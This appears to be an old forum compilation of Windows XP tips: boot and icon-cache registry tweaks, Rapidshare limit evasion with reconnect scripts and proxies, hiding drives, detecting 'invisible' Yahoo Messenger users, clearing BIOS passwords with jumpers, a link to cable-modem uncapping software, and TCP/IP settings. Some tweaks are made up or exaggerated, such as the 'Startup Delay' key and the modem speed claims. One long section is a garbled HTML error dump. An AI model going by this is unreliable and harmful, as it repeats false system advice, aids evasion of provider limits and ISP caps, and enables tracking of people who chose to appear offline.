Aight so u wanna know how to turn the pc on in 10 seconds (may vary)Aight heres what u have to do to turn ur pc on in 10 seconds

Aite Click on the start button then press R it will take u to Run well go to run
n type Regedit
press enter
this will open Registery Editor
now look for the key

[b]HKEY_LOACAL_MECHINE\SYSTEM\CurrentControlSet\Contr ol\ContentIndex[/b]

now there find the Key Called
"Startup Delay"
Double Click On It
Now where its Base
Click Decimal
Now its Default Value Is 4800000 (75300:hexadecimal)
Change The Value To 40000
here u go u have done it
now close the Registery Editor and Restart Your Computer
You'll See The Result



boast PC speed -2


CODE

Icons on the destop will slow down the booting speed of windows to avoid this, we have to increase cache memory of the icons.
iconcache.db is the file managing the icon cache..

follow this steps to do that

start =>run in that type regedit

i[b]n regedit window HKEY-LOCAL-MACHINE =>SOFTWARE=>M*cro$oft=>WINDOWS=>CURRENT VERSION=>EXPLORER=>MAX CACHED ICONS[/b]

in that 500 will be the existing value to edit that double click that, now u can see edit string on value section type 2000 instead of 500.
close regedit and now reboot windows now u can see the difference..



Automate -> Rapishare d/ls + cheat 1hr limit!!!


CODE

[b]FOR DYNAMIC IP's....[/b]
If you have a system that works by going off-line/on-line between downloads then this should work for you. This method has only been tested for Rapidshare on WinXP.

Creating reconnector.bat
First copy/paste the lines below into a new file called reconnector.bat (use Notepad)
"The Name Of Your Connection" is the name of the icon in folder Control Panel/Network Connections (include the double quotes).
Code:

echo off cls echo Disconnecting... rasdial "The Name Of Your Connection" /disconnect cls echo Waiting... ping -n 6 127.0.0.1 > nul cls rasdial "The Name Of Your Connection" username password


NB:- The command echo, cls, etc., has nothing to do with renewing IP... They r added just to make it view nice

IMPORTANT:- The command 'ping' gives a time delay... Here '6' means 6sec delay b/w disconnecting and reconnecting... U can give any delay...

This is the syntax which I used, u can change it depending on ur connection.

Test:
No go online and open reconnector.bat u should get disconnected and reconnected...

[b]Method 1. Using USDownloader[/b]
You will need Universal Share Downloader with newest plugins (this program automatically puts in the Rapidshare 3 letter code). Get the latest version from here:-
Code:

[b]http://www.dimonius.ru/dusd.php[/b]

STEPS
1. Open Universal Share Downloader v1.3.3
2. Go to Options/Misc and choose under "Run after download complete" the path to your reconnector.bat.
3. Go to Options/Settings and ensure the Reattempt delay is set to 1 or 0.
4. Go to Options/Proxy and ensure proxies are not being used.

NB:- For newer versions of USDowloader, like v1.3.4b4 follow these steps:
1. Go to Options -> Scheduler.
2. Tick Use Scheduler
3. Press Add(+)
4. In the Event Tab, select 'After File Download'
5. Action 'Execute File'.
6. File name-> browse to reconnector.bat
7. Make sure 'Wait Finish' is enabled.
8. Here also in settings make sure that redial attempt is set to 0 or 1.
(In the settings tab I chose all the values 0...)

Load a number of files into your Universal Share Downloader v1.3.3 list, go online and start downloading.
After every download it will disconnect/reconnect automatically.

If a file won't start downloading try as you did before, it may no longer be there.

IMPORTANT: Be very careful not to double left click on the reconnector.bat file while on-line or it will stop your download.
If you want to look at it then right click and open with Notepad.

Method 2. Using RAPGET
Go to:-
Code:

[b]http://www.rapget.com/en/download.html[/b]

to get the latest version of Rapget..

STEPS
1. Open Rapget.
2. Go to settings->scheduler.
3. Tick 'Use Scheduler'.
4. In the 'Action' part select 'Run program'
5. Browse to the previously created reconnector.bat
6. In the 'Event' select 'After every download'
7. Condition -> 'All' or 'successful download'
8. Press the Add button(+).
9. Now go to General Tab and select waiting time to 1min or 0min.

[b]FOR STATIC IP's...[/b]
Ok, for static IP u should use proxy. But u can automate rapidshare d/l's using proxies...
I prefer a Grabber + Rapget/USDownloader use... It really works...

To get proxy list
1. Find some proxy list from google or from CMS Tools-> Fresh Proxies -- added daily. U can also use any of these links for getting proxies...
Code:

[b]http://www.samair.ru/proxy/ http://www.proxy4free.com/page1.html http://www.publicproxyservers.com/page1.html[/b]

2. Copy the proxy list to Grabber 1.4.3a proxy checker and start checking...
3. Copy valid ones to the clipboard and save it in a text document.

Method 1. Using Rapget
STEPS
1. Open rapget.
2. Go to settings -> Proxy.
3. Tick 'Use Proxy list'.
4. Browse to the text document.
5. Now go to Servers -> rapidshare.de and set simultaneous d/l's to any number u like. (I prefer 1 at a time)
6. Now go to General->Waiting time and set its value to 0.
7. Done!

U can now add links to Rapget and start d/l!!!

Method 2. Using USDownloader
STEPS
1. Open USDownloader
2. Go to Options-> Proxy
3. Tick proxy list.
4. Browse to the text document.
5. Go to settings and set retry delay to 0.
6. Add links and start downloading...


Cheat Rapidshare using Firefox No more waiting

Here is the procedure

1.Download greasemonkey extension for firefox (that manages the javascripts for the firefox browser) from

<b>http://ftp.scarlet.be/pub/mozdev/greasemonkey/greasemonkey_0.2.6.xpi


CODE

2.As soon as you click the above link, firefox will ask you if you want to install the plugin. Click the install button.Otherwise Download it ,and Right Click on it and say open with Firefox.

3.Install it,and restart Firefox.

4. Now go here

http://rapidshare.de/files/3718221/rapidshare.user.js.html

Click on free to go to the download page.

5.Right click on rapidshare.user.js and choose "Install User Script". Confirm the java script installation.

6. Restart Firefox.

Now click on any rapidshare link and click on the free button(as we all
do). You will notice that your link will appear within 2 seconds with
no download limit Yahoo.gif .

 

HOW TO HIDE DRIVES IN WINDOWS XP, no body can find it


CODE

If u r having any material like porn movies , important docs and u r afraid abt it . dont wory windows XP provides (not officialy ) a utility by which u can hide urs one or more drives .
This utility having lots of function but i m giving u one of them.

******************************
[b]THIS METHODE IS DISCOVER BY ME[/b]
******************************

1. Go to Start > run > type "diskpart".
a dos window will appear with following discription.
DISKPART>

2. then type "list volume"

this will look like it

Volume### Ltr Label Fs Type Size Status Info
-------------- ---- ------ --- ----- ---- ------- -----

Volume 0 F DC-ROM
Volume 1 C NTFS Partition 7000MB Healthy
Volume 2 D soft NTFS Partition 8000MB Healthy
Volume 3 E porn NTFS Partition 8000MB Healthy


3.if u wanna hide drive E then type "select volume 3"

then a message will appear in same winwods { Volume 3 is the selected volume}

4.now type " remove letter E"
now a message will come { Diskpart Removed the Drive letter }
sometime it requires the reboot the computer .

Diskpart will remove the letter .Windows XP is not having capabilty to identify the unkown volume.

Don afraid ur Data will ramin same .
to Come backe the Drive repeat the process . but in 4th step whish is shown in this post replace " remove" to "assign"
i mean type " assign letter E"



Finding a invisible user on Yahoo! Messenger


CODE

Finding whether a user is offline or online on Yahoo! Messenger.

Many people nowdays prefer to stay offline while using Yahoo! Messenger - mostly done to avoid someone. There are many ways of finding people who are online but yet invisible.

[b]First Method: Doodle Method[/b]

1. Double Click on the user whose status you want to check.
2. A message window will open.
3. Click IMVironment button, select See all IMVironments, select Yahoo! Tools or Interactive Fun, and click on Doodle.
4. The last step and the most important step. After loading the Doodle IMVironment, there will be two possibilities.
a) If the user is offline, the Doodle area will show “waiting for your friend to load Doodle” continuously.
B) If the user is online (in invisible mode), after few seconds (it can take up to one minute, depending on connection speed), you will get a blank page. So the user is online!

[b]Second Method: Voice Chat Method[/b]

1. Double Click on the user whose status you want to check.
2. Click on “Voice” icon on the toolbar, or select “Contact” menu and select “Enable Voice Chat” .
3. The deciding part… there are 2 possible results:
a) If the user is offline, you will get this message: “Internal server error. Cannot obtain voice token to start voice chat.”
B) If the user is invisible (actually online), you will see the Voice Toolbar.

[b]Third Method: Conference Invitation[/b]

1. Right Click on the user whose status you want to check.
2. When the menu appears, select Invite to Conference.
3. A window will appear. See at the right pane, the username you selected will be there. Now, click Invite.
4. The deciding part… there are 2 possible results:
a) If the user is offline, you will get this message: “None of the users in the invite list are available to join the conference. Please try at a later time.”
B) If the user is invisible, you will get a window similar saying: “You are now logged into voice conference - njs124

[b]Fourth Method: Buddy Spy 2.2.9[/b]

1. Get Buddy Spy from [url=http://www.xsharex.info/redirect.php?url=http://www.buddy-spy.com]www.buddy-spy.com[/url]
2. Go to configure and enter your login details.
3. Now go to Buddy Spy option and enter the username you want to track. You can also check multiple ids also.
Not only Buddy Spy tells the status of Chat but also Room Chat and WebCamera status of that user also!
4. You can edit other options through Scan Options menu.

Now Have a great chatting!



Using Ms Calculator As A Browser, When all else fails


CODE

How to acces the internet via your standard m*cro$oft Calculator
When your browser(s) is/are messed up for some unexplainable reason

1. Open your MS Calculator. This is normally found in Start => All Programs => Accessories => Calculator.
2. Open the help-window by pressing the F1 key.
3. Click the top-left corner icon of the help window once (Standard is a Document with a Questionmark).
4. Select Go to URL-address.
5. Type your address into the avaliable field, but remember to type [url=http://www.xsharex.info/redirect.php?url=http://]http://[/url], and not just www. (or equivalent).
6. Have fun!
Hope you remember this in case all else should fail!



how 2 rename 'recycle' bin


CODE

To rename the recycle bin (just by rightclicking the icon on the desktop),

Open regedit and find the key
HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08 -00AA002F954E}\ShellFolder.

Select this, on the right there's a binary value called Attributes. Rightclick it, 'modify'. Instead of 40 01 00 20 it should read 50 01 00 20 to have a 'rename' option. For a 'delete' option it should read 60 01 00 20 or make it say 70 01 00 20 to have both.

In XP, you'll also need to edit the dword string called "CallForAttributes" there. Set it to 0x00000000 (0).



Hack Windows Password by using Jumpers


CODE

Hack Administrator pass

Contents
· Jumper Locations and Definitions
· CPU Configuration
· Other Jumpers



Jumper Locations and Definitions


Function Jumper Block
CMOS Clear J 7K1-A 4-5 Keep (default)5-6 Clear
Password Clear J7K1-A 1-2 Password Enabled (default) 2-3 Password Clear/Disabled
CMOS Setup Access J7K1-B 1-2 Access Allowed (default)2-3 Access Denied
VR/OVD J7K1-B 4-5 OVD/Standard [3.3-3.465V] (default)5-6 VRE [3.4-3.6V]
Caution: J7K1-B jumper pins 4, 5, 6 should not be changed unless changing to a new processor type.
CPU Configuration J7K1-B,C,D



CPU Configuration (J7K1-B, C, D)

These jumpers allow the motherboard to be switched between different speeds of the Intel® Pentium® processor. These jumpers also affect the PCI and ISA clock speeds according to the following table.

CPU/SYSTEM Speed Settings
CPU Freq. (MHz) Host Bus Freq. (MHz) J7K1-C J7K1-D CPU Clock Multiplier
200 66 1-2,5-6 1-2,5-6 3
166 66 1-2,5-6 2-3,5-6 2.5
150 60 2-3,4-5 2-3,5-6 2.5
133 66 1-2,5-6 2-3,4-5 2
120 60 2-3,4-5 2-3,4-5 2
100 66 1-2,5-6 1-2,4-5 1.5
90 60 2-3,4-5 1-2,4-5 1.5
75 50 2-3,5-6 1-2,4-5 1.5
reserved 2-3,5-6 1-2,5-6
reserved 2-3,4-5 1-2,5-6



Clear CMOS (J7K1-A, Pins 4,5,6)
Allows CMOS settings to be reset to default values by moving the jumper from pins 4-5 to pins 5-6 and turning the system on. When the system reports that "NVRAM cleared by jumper", the system can be turned off, and the jumper should be returned to the 4-5 position to restore normal operation. This procedure should be done whenever the system BIOS is updated. Default is for this jumper to be on pins 4-5.

Password Clear (J7K1-A, Pins 1,2,3)
Allows system password to be cleared by moving the jumper from pins 1-2 to pins 2-3 and turning the system on. The system should then be turned off and the jumper should be returned to the 3-5 position to restore normal operation. This procedure should only be done if the user password has been forgotten. The password function is effectively disabled if this jumper is in the 1-3 position. Default is for the password to be enabled (3-5 position).

CMOS Setup Access (J7K1-B, Pins 1,2,3)
Allows access to CMOS Setup utility to be disabled by moving this jumper from the 1-2 position to the 2-3 position. Default is for access to setup to be enabled (1-2 position)

VR/OVD (J7K1-B, Pins 4,5,6)
This jumper block changes the output of the on-board voltage regulator. The default setting (pins 4-5) should be jumpered for processors that require voltages between 3.135 volts and 3.6 volts. Pins 5-6 should be jumpered for processors requiring 3.4 volts to 3.6 volts. Check the microprocessor's documentation for the correct setting.

Note:This jumper should not be changed by the user unless changing to a new processor type.

Other Jumpers
Program Boot Block Enable (J1F1, Pins 4,5,6)
This jumper allows the boot block to be programmed when set to Program (pins 5-6). The default setting is Protect (pins 4-5). CAUTION:Changing this jumper and reprogramming the boot block could cause unreliable operation.

Recovery Boot Enable (J1F1, Pins 1,2,3)
This jumper allows the BIOS to be recovered if it has been corrupted. To set the jumper to Recover, move the jumper from pins 1-2 to pins 2-3. Default lt setting is for Normal operation (pins 1-2)


Cable/Modem Bandwidth Hacking

An ambitious hackware project promises to bring illicit broadband "uncapping" to the masses, and with it the risks that come with high-speed hijinks. From a pitiable 56kbps AOL dial-up somewhere in suburban Colorado, 19-year-old Myko Hein would like to tap out this sad, regretful message to the powers-that-be at his former cable Internet provider, AT&T Broadband: I was wrong. It'll never happen again. Please take me back.
Check Out The Whole Story Out here :

http://www.mycrypto.net/underground/cable_modem_hacking.html

Software He Used


CODE

http://www.megaupload.com/?d=94RYME81



100 Windows Xp Run Commands

eg:- Go to StartMenu>RUN> "Command "



CODE

Accessibility Controls
access.cpl

Add Hardware Wizard
hdwwiz.cpl

Add/Remove Programs
appwiz.cpl

Administrative Tools
control admintools

Automatic Updates
wuaucpl.cpl

Bluetooth Transfer Wizard
fsquirt

Calculator
calc

Certificate Manager
certmgr.msc

Character Map
charmap

Check Disk Utility
chkdsk

Clipboard Viewer
clipbrd

Command Prompt
cmd

Component Services
dcomcnfg

Computer Management
compmgmt.msc

Date and Time Properties
timedate.cpl

DDE Shares
ddeshare

Device Manager
devmgmt.msc

Direct X Control Panel (If Installed)*
directx.cpl

Direct X Troubleshooter
dxdiag

Disk Cleanup Utility
cleanmgr

Disk Defragment
dfrg.msc

Disk Management
diskmgmt.msc

Disk Partition Manager
diskpart

Display Properties
control desktop

Display Properties
desk.cpl

Display Properties (w/Appearance Tab Preselected)
control color

Dr. Watson System Troubleshooting Utility
drwtsn32

Driver Verifier Utility
verifier

Event Viewer
eventvwr.msc

File Signature Verification Tool
sigverif

Findfast
findfast.cpl

Folders Properties
control folders

Fonts
control fonts

Fonts Folder
fonts

Free Cell Card Game
freecell

Game Controllers
joy.cpl

Group Policy Editor (XP Prof)
gpedit.msc

Hearts Card Game
mshearts

Iexpress Wizard
iexpress

Indexing Service
ciadv.msc

Internet Properties
inetcpl.cpl


IP Configuration (Display Connection Configuration)
ipconfig /all

IP Configuration (Display DNS Cache Contents)
ipconfig /displaydns

IP Configuration (Delete DNS Cache Contents)
ipconfig /flushdns

IP Configuration (Release All Connections)
ipconfig /release

IP Configuration (Renew All Connections)
ipconfig /renew

IP Configuration (Refreshes DHCP & Re-Registers DNS)
ipconfig /registerdns

IP Configuration (Display DHCP Class ID)
ipconfig /showclassid

IP Configuration (Modifies DHCP Class ID)
ipconfig /setclassid


ava Control Panel (If Installed)
jpicpl32.cpl

Java Control Panel (If Installed)
javaws

Keyboard Properties
control keyboard

Local Security Settings
secpol.msc

Local Users and Groups
lusrmgr.msc

Logs You Out Of Windows
logoff

Mcft Chat
winchat

Minesweeper Game
winmine

Mouse Properties
control mouse

Mouse Properties
main.cpl

Network Connections
control netconnections

Network Connections
ncpa.cpl

Network Setup Wizard
netsetup.cpl

Notepad
notepad

Nview Desktop Manager (If Installed)
nvtuicpl.cpl

Object Packager
packager

ODBC Data Source Administrator
odbccp32.cpl

On Screen Keyboard
osk

Opens AC3 Filter (If Installed)
ac3filter.cpl

Password Properties
password.cpl

Performance Monitor
perfmon.msc

Performance Monitor
perfmon

Phone and Modem Options
telephon.cpl

Power Configuration
powercfg.cpl

Printers and Faxes
control printers

Printers Folder
printers

Private Character Editor
eudcedit

Quicktime (If Installed)
QuickTime.cpl

Regional Settings
intl.cpl

Registry Editor
regedit

Registry Editor
regedit32

Remote Desktop
mstsc

Removable Storage
ntmsmgr.msc

Removable Storage Operator Requests
ntmsoprq.msc

Resultant Set of Policy (XP Prof)
rsop.msc

Scanners and Cameras
sticpl.cpl

Scheduled Tasks
control schedtasks

Security Center
wscui.cpl

Services
services.msc

Shared Folders
fsmgmt.msc

Shuts Down Windows
shutdown

Sounds and Audio
mmsys.cpl

Spider Solitare Card Game
spider

SQL Client Configuration
cliconfg

System Configuration Editor
sysedit

System Configuration Utility
msconfig

System File Checker Utility (Scan Immediately)
sfc /scannow

System File Checker Utility (Scan Once At Next Boot)
sfc /scanonce

System File Checker Utility (Scan On Every Boot)
sfc /scanboot

System File Checker Utility (Return to Default Setting)
sfc /revert

System File Checker Utility (Purge File Cache)
sfc /purgecache

System File Checker Utility (Set Cache Size to size x)
sfc /cachesize=x

System Properties
sysdm.cpl

Task Manager
taskmgr

Telnet Client
telnet

User Account Management
nusrmgr.cpl

Utility Manager
utilman

Windows Firewall
firewall.cpl

Windows Magnifier
magnify

Windows Management Infrastructure
wmimgmt.msc

Windows System Security Tool
syskey

Windows Update Launches
wupdmgr

Windows XP Tour Wizard
tourstart

Wordpad
write



Boost Up Your Internet Connection

METHOD 1

For:
WinME Win95 and Win98

-----To do this click on your start button, then go to Search then open up Dial Up
Networking, then right click on your connection,Go to Properties then where the modem is
located(Tellin you wut modem you are using)Hit Configure, Next click on Connection, and
locate the Advaced button click on it and see where it says Extra Settings Type This:

at&fx

Then hit apply, then close it out, and disconect from your internet, and then start it back
up...your connection speedwill be 5 times more...It made mine boost up from 45,200BPS to
115,200BPS-----



For:
WinXP WinCE and Win2000

-----Right click on "My Computer" then go to "Properties" then go to "Hardware" then go to
"Device Manager" then go to "Modems" Then select that tab so it scrolls down, then go to
your modem, and right click and go to "Properties" then go to "Advanced" Then in the box
saying "Extra Settings/Extra Initialization Commands" type in that box:

at&fx

--then click ok then ok again and exit out of everything, disconect from tha internet and
reconnect and you will be connected at a faster speed. you wouold be connected at 42,200KBPS
and now your new connection will be 100,200KBPS--

METHOD 2

Increase the speed your modem connects.
1. Click start.
2. Click control panel.
3. Click modems.
4. Click properties.
5. Click the connection tab.
6. Click advanced.
7. In the extra settings dialog box add the string S11=40.
8. Click Ok.

 

Windows uses 20% of your bandwidth !


CODE

[Error: Irreparable invalid markup ('<span [...] roman";">') in entry. Owner must fix manually. Raw contents below.]

<p style="" class="MsoNormal"><b>Increasing broadband connection</b><br> <br> <b>1.Increase bandwidth by tweaking QoS in Windows XP Pro</b><br> <br style=""> <br style=""> </p> <p style="" class="MsoNormal">CODE</p> <p style="" class="MsoNormal">The following tweak applies only to Windows XP Professional edition.<br> <br> The default system behavior is that all 100% bandwidth is available, however, if there is a running application that indicates to the OS it needs to send high priority/real time data, then as long as it has the socket open, Windows XP will restrict “best effort” traffic to 80% of the bandwidth so that high priority traffic can be accommodated. Basically, applications can make this request to the operating system for QoS support using the QoS application programming interfaces (APIs) in Windows and this only applies if a specific app is requesting QoS.<br> <br> If you'd like to change how much bandwidth is reserved for QoS (the default is 20% of the total bandwidth), do the following:<br> <br> 1. Make sure you're logged in as "Administrator" (not just any account with admin privileges).<br> 2. Navigate to START&gt;Run and type: gpedit.msc<br> 3. Navigate to Local Computer Policy &gt; Administrative Templates &gt; Network &gt; QOS Packet Scheduler<br> 4. In the right window, double-click the limit reservable bandwidth setting<br> 5. On the setting tab, check the enabled setting.<br> 6. Where it says "Bandwidth limit %", change it to read 0 (or whatever percentage you want to reserve for high priority QoS data)<br> 7. Click OK, close gpedit.msc<br> <br> Under START &gt; My Computer &gt; My Network Connections &gt; View Network Connections, right-click on your connection and under Properties (where it lists your protocols), make sure QOS Packet Scheduler is enabled.<br> <br> <br> <br> The tweak desribed below helps boost priority for DNS &amp; hostname resolution in general. What this means is, it helps web pages load faster, and has negligible effect on downloads (not counting the couple of ms gain with the host resolution at connect-time).<br> <br> Applying this tweak assumes some proficiency in editing the Windows Registry using Regedit (Start &gt; Run &gt; type: regedit). As always, backup your Registry before making any changes so you can revert to the previous state if you don't like the results.<br> <br> <br> [b]2.Host Resolution Priority Tweak[/b]<br> host name resolution priority<br> Windows 2k/XP<br> <br> First, open the Windows Registry using Regedit, and (after backing up) navigate to:<br> HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servic es\Tcpip\ServiceProvider<br> <br> <br> <br> Note the following lines (all hex dwords):<br> Class = 008 (8) - indicates that TCP/IP is a name service provider, don't change.<br> <br> LocalPriority = 1f3 (499) - local names cache<br> HostsPriority = 1f4 (500) - the HOSTS file<br> DnsPriority = 7d0 (2000) - DNS<br> NetbtPriority = 7d1 (2001) - NetBT name-resolution, including WINS<br> <br> What we're aiming to do is increase the priority of the last 4 settings, while keeping their order. The valid range is from -32768 to +32767 and lower numbers mean higher priority compared to other services. What we're aiming at is lower numbers without going to extremes, something like what's shown below should work well:<br> <br> Change the "Priority" lines to:<br> LocalPriority = 005 (5) - local names cache<br> HostsPriority = 006 (6) - the HOSTS file<br> DnsPriority = 007 (7) - DNS<br> NetbtPriority = 008 (8) - NetBT name-resolution, including WINS<br> <br> [b]Windows 9x/ME[/b]<br> <br> The tweak is essentialy the same as in Windows 2000/XP, just the location in the Registry is slightly different. For a more detailed description see the Windows 2000/XP section above.<br> <br> Open the Windows Registry using Regedit, and (after backing up) navigate to:<br> HKEY_LOCAL_MACHINE\System\CurrentControlSet\Servic es\VxD\MSTCP\ServiceProvider<br> <br> You should see the following settings:<br> Class=hex:08,00,00,00<br> <br> LocalPriority=hex:f3,01,00,00<br> HostsPriority=hex:f4,01,00,00<br> DnsPriority=hex:d0,07,00,00<br> NetbtPriority=hex:d1,07,00,00<br> <br> The "priority" lines should be changed to:<br> LocalPriority=hex:05,00,00,00<br> HostsPriority=hex:06,00,00,00<br> DnsPriority=hex:07,00,00,00<br> NetbtPriority=hex:08,00,00,00<br> <br> Reboot for changes to take effect.<br> <br> <br> In addition to the tweaks already covered in Win 2k/XP Registry Tweaks and More Win 2k/XP Tweaks, the Windows XP Service Pack 2 introduces a few new issues covered in the article below. Please make sure you understand what you are doing before making any changes to your Operating System. Note the information below only applies to Windows XP Service Pack 2.<br> <br> <br> <br> [b]3.Remove the limit on TCP connection attempts[/b]<br> <br> Windws XP SP2 introduces a few new twists to TCP/IP in order to babysit users and "reduce the threat" of worms spreading fast without control. In one such attempt, the devs seem to have limited the number of possible TCP connection attempts per second to 10 (from unlimited in SP1). This argumentative feature can possibly affect server and P2P programs that need to open many outbound connections at the same time.<br> <br> Rant: The forward thinking of Microsoft developers here is that you can only infect 10 new systems per second via TCP/IP ?!?... If you also consider that each of those infected computers will infect 10 others at the same rate:<br> second 1: 1+10 computers<br> second 2: 10+10*10 computers (110 new ones)<br> second 3: 10+100*10 computers ( 1110 new ones)<br> second 4: 10+1000*10 computers (11110 new ones)<br> ....<br> all the way to 10*60 + 10^60 computers in a single minute (that's a number with 60 digits, or it would far exceed Earth's population). Even if we consider that 90% of those computers are unreachable/protected, one would still reach ALL of them within a minute.<br> <br> In other words, even though it is not going to stop worm spreading, it's going to delay it a few seconds, limit possible network congestion a bit, and limit the use of your PC to 10 connection attempts per second in the process ! I have no problem with the new default setting limiting outbound connection attempts. Still, users should have the option to easily disable or change this setting. I might be going out on a limb here, but ever since the introduction of Windows XP I can't help thinking that I dislike all the bult-in Windows "wisardry" in a sense that the system also limits user access. That irritating trend to ease the mental load on end users is somewhat insulting, considering that Windows is to make the more "intelligent" choice instead of the end user, as well as limit their access to tuning such settings...<br> End of rant.<br> <br> With the new implementation, if a P2P or some other network program attempts to connect to 100 sites at once, it would only be able to connect to 10 per second, so it would take it 10 seconds to reach all 100. In addition, even though the setting was registry editable in XP SP1, it is now only possible to edit by changing it directly in the system file tcpip.sys. To make matters worse, that file is in use, so you also need to be in Safe mode in order to edit it.<br> <br> You only need to worry about the number of connection attempts per second if you have noticed a slowdown in network programs requiring a number of connections opened at once. You can check if you're hitting this limit from the Event Viewer, under System - look for TCP/IP Warnings saying: "TCP/IP has reached the security limit imposed on the number of concurrent TCP connect attempts". Keep in mind this is a cap only on incomplete outbound connect attempts per second, not total connections. Still, running servers and P2P programs can definitely be affected by this new limitation. Use the fix as you see fit.<br> <br> To change or remove the limit, you can use the following program:<br> <br> Event ID 4226 Patcher v2.11<br> Code:<br> [url=http://www.xsharex.info/redirect.php?url=http://www.speedguide.net/files/xp_sp2/EvID4226Patch211a-en.zip]<a href="http://www.speedguide.net/files/xp_sp2/EvI...atch211a-en.zip[/url]">http://www.speedguide.net/files/xp_sp2/EvI...atch211a-en.zip[/url]</a><br> <br> <br> - A patching program for removing or changing the limit imposed on connection attempts in SP2. The patcher has the ability to restore tcpip.sys back to the original... Still, you might want to back up tcpip.sys, use it at your own risk. The author of this patch can be reached @ [url=http://www.xsharex.info/redirect.php?url=http://www.lvllord.de/]<a href="http://www.lvllord.de/[/url]">http://www.lvllord.de/[/url]</a><br> <br> [b]4. Recommended settings for Windows 2000 / XP[/b]<br> Windows 2000 &amp; XP, unlike NT supports large windows as described in RFC1323 ( the 'RcvWindow' has a maximum value of 2**30 rather than 64K), and includes some other improvements over its predecessors you can use to speed up any TCP/IP transfers. , the descriptions and other options are added to provide you with better understanding and enable you to customize your settings.<br> <br> All the following entries, unless otherwise noted should be placed in the Windows 2000/XP Registry under the key<br> <br> HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servic es\Tcpip\Parameters<br> <br> TCPWindowSize<br> <br> The value of TCP Window in the Windows 2000 Registry is DWORD, representing number of bytes, with range from 0 to 2^30. The recommended values (in red) optimize TCP for any high speed Internet connection and work best in most cases, however if you'd like to use a custom value follow these guidelines:<br> <br> For best results, the TCPWindow should be a multiple of MSS (Maximum Segment Size). MSS is generally MTU - 40, where MTU (Maximum Transmission Unit) is the largest packet size that can be transmitted. MTU is usually 1500 (1492 for PPPoE connections). To determine the MTU value of your ISP, check out the Advanced Registry Editing section of our site.<br> <br> There are three places in the Windows 2000 Registry where you can add the TCP Window parameter.<br> <br> HKLM/SYSTEM\CurrentControlSet\Services\Tcpip\Parameters<br> GlobalMaxTcpWindowSize="256960" (DWORD, number of bytes) Valid range is from MSS to 2^30. Add the value as a decimal. Note: For best results RWIN has to be a multiple of MSS lower than 65535 times a scale factor that's a power of 2, i.e. 44 x 1460 = 64240 x 2^2 = 256960. If you choose to use a RWIN lower than 65535, you can simply make it multiple of MSS and turn scaling off (Tcp1323Opts=0)<br> <br> HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Param eters<br> TcpWindowSize="256960" (DWORD, number of bytes) Valid range is from MSS to 2^30. Add the value as a decimal. TcpWindowSize can also exist under TcpipParametersInterface - if added at this location, it overrides the global setting for this particular . Note (10/20/00): Seems MS has found another bug in Windows 2000, the TCPWindowSize should be configured with the global setting (GlobalMaxTcpWindowsSize) rather than this one - Q263088<br> <br> Note: For best results RWIN has to be a multiple of MSS lower than 65535 times a scale factor that's a power of 2, i.e. 44 x 1460 = 64240 x 2^2 = 256960. If you choose to use a RWIN lower than 65535, you can simply make it multiple of MSS and turn scaling off (Tcp1323Opts=0)<br> <br> Tcp1323Opts<br> <br> Tcp1323Opts is a necessary setting in order to enable Large TCPWindow support as described in RFC 1323. Without this parameter, the TCPWindow is limited to 64K.<br> <br> HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Param eters<br> Tcp1323Opts="1" (DWORD, recommended setting is 1. The possible settings are 0 - Disable RFC 1323 options, 1 - Window scaling but no Timestamp options, 3 - Window scaling and Time stamp options.)<br> <br> Note: Tcp1323Opts="3" might help in some cases where there is increased packet loss, however generally you'll achieve better throughput with Tcp1323Opts="1", since Timestamps add 12 bytes to the header of each packet.<br> <br> DefaultTTL<br> <br> DefaultTTL determines the time in seconds and the number of hops a packet lives. While it does not directly affect speed, a larger value increases the amount of time it takes for a packet to be considered lost, discarded and retransmitted. A value that's too small can cause packets to be unable to reach distant servers at all.<br> <br> HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Param eters<br> DefaultTTL="64" (DWORD, recommended setting is 64. Other settings that are widely used are 128 and 32)<br> <br> EnablePMTUDiscovery<br> <br> When set to 1 (True), TCP attempts to discover MTU automatically over the path to a remote host. Setting this parameter to 0 causes MTU to default to 576 which reduces overall performance over high speed connections. Note that this setting is different than our Windows 9x recommendation.<br> <br> HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Param eters<br> EnablePMTUDiscovery="1" (DWORD - boolean, valid settings are 0--&gt;False and 1--&gt;True. Many connections perform better with this entry at 1, however, if you prefer to set your upstream to send fixed 1500 packets, you might want to use 0 instead). When set at 1, establishing connections and initial transfer speed might slow down a bit, however you will get better throughput if somewhere in the path large packets need to be fragmented.<br> <br> EnablePMTUBHDetect<br> <br> Setting this parameter to 1 (True) enables "black hole" routers to be detected, however it also increases the maximum number of retransmissions for a given segment. In most cases you'd want to keep BHDetect to 0 (False).<br> <br> HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Param eters<br> EnablePMTUBHDetect="0" (DWORD - boolean, valid settings are 0--&gt;False and 1--&gt;True. Recommended setting is 0)<br> <br> SackOpts<br> <br> This parameter controls whether or not SACK (Selective Acknowledgement) support is enabled, as specified in RFC 2018. SACK is especially important for connections using large TCP Window sizes.<br> <br> HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Param eters<br> SackOpts="1" (DWORD - boolean, recommended setting is 1. Possible settings are 0 - No Sack options or 1 - Sack Option enabled).<br> <br> TcpMaxDupAcks<br> <br> This parameter determines the number of duplicate ACKs that must be received for the same sequence number of sent data before "fast retransmit" is triggered to resend the segment that has been dropped in transit.<br> <br> HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Param eters<br> TcpMaxDupAcks="2" (DWORD - range 1-3, recommended setting is 2).</p> <p style="" class="MsoNormal"><br> <br> <b>DL rapidshare without any software!</b><br> <br style=""> <br style=""> </p> <p style="" class="MsoNormal">CODE</p> <p style="" class="MsoNormal">Try this out ppl, it works always for MOZILLA and other browsers<br> <br> 1-&gt; Copy <st1:place w:st="on"><st1:city w:st="on">ur</st1:city></st1:place> Rapidshare link [ Right click on link, and select 'Copy Link Location' ]<br> 2 -&gt; Goto<br> <br> [code]<a href="http://www.unipeak.com">http://www.unipeak.com</a></p> <p style="" class="MsoNormal"><br> <br> 3 -&gt; U will find a tab there where u can paste a link, so just place your copied rapidshare link there !<br> <br> That's it, now dont worry about the Hour Limit, neither the reserve ticket time, and what better, u can also download simultaneously, just follow the same procedure for the different rapidshare links[/code]<br> <br> 